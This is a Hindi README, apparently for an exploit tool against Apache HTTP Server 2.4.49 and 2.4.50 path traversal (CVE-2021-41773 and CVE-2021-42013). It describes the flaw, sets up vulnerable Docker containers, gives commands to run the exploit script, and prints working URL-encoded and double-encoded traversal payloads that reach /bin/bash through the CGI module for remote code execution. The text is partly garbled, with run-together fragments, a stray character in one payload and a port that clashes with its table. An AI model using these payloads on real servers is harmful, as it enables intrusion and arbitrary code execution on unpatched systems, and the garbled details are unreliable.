
Apache HTTP Server 2.4.49 में पाथ सामान्यीकरण (path normalization) में किए गए बदलाव में एक दोष पाया गया। एक हमलावर पाथ ट्रैवर्सल हमले का उपयोग करके URLs को Alias-जैसे निर्देशों द्वारा कॉन्फ़िगर की गई निर्देशिकाओं के बाहर की फ़ाइलों से मैप कर सकता है। यदि इन निर्देशिकाओं के बाहर की फ़ाइलें डिफ़ॉल्ट कॉन्फ़िगरेशन "require all denied" द्वारा सुरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। यदि इन aliased पथों के लिए CGI स्क्रिप्ट भी सक्षम हैं, तो यह रिमोट कोड निष्पादन (remote code execution) की अनुमति दे सकता है। यह समस्या वास्तविक दुनिया में शोषण होते देखी गई है। यह समस्या केवल Apache 2.4.49 को प्रभावित करती है, पहले के संस्करणों को नहीं। Apache HTTP Server 2.4.50 में किया गया सुधार अधूरा था, CVE-2021-42013 देखें।
pip3 install colorama से इंस्टॉल करें)perl CGI स्क्रिप्टडिफ़ॉल्ट कॉन्फ़िगरेशन के साथ एक संवेदनशील (vulnerable) Apache httpd को docker/podman कंटेनर के रूप में प्रारंभ करें।
| Dockerfile | कंटेनर | संस्करण |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| कंटेनर | लिसन पोर्ट |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 2.4.49 संस्करण पर हमला चुनें
1.3 python3 main.py localhost:2450
1.4 2.4.50 संस्करण पर हमला चुनें
एक्सप्लॉइट पाथ ट्रैवर्सल के माध्यम से मनमानी निष्पादन की अनुमति देने के लिए Apache httpd के CGI मॉड्यूल का उपयोग करेगा।
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ url-एन्कोडेड है और डिकोड करने पर ../ के बराबर है।
.%%32%658 डबल url-एन्कोडेड है और डिकोड करने पर भी ../ के बराबर है।